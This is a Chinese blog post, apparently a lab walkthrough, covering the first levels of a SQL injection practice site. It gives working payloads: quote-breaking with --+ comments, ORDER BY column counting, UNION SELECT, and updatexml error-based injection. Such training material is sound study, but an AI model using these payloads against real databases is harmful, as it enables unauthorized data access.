SQL注入

1.sql注入第1关:

(1)寻找注入点:?gid=1

(2)逃脱单引号的控制:?gid=1'

可以看到出现报错,证明?gid=1'已经逃脱了单引号的控制;

(3)闭合单引号:?gid=1%27--+

闭合单引号有两种;1:继续把单引号闭合。2:注释掉单引号。

MySQL的注释符 -- 、# 、/***/  */;可以看到--+成功闭合单引号;

(4)通过联合查询的方法实现sql注入;

联合查询需要知道列数,使用order by可以检测他的列数;

查询到4出现报错,证明是3列;

(5)检测到3列,进行联合查询  union select 1,2,3--+

2.第2关-第4关只是闭合方式不同:

(1)数字型注入,不需要闭合;

(2)第3关:使用单引号和括号闭合;

(3)第4关:使用双引号和括号闭合;

3.第5关:

(1) 没有展示的界面,使用报错注入;

?id=1' and updatexml(1,concat(0x7e,user(),0x7e),1)--+

4.第6关:

也是报错注入,闭合方式不同,使用双引号进行闭合;

5.第7关:

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值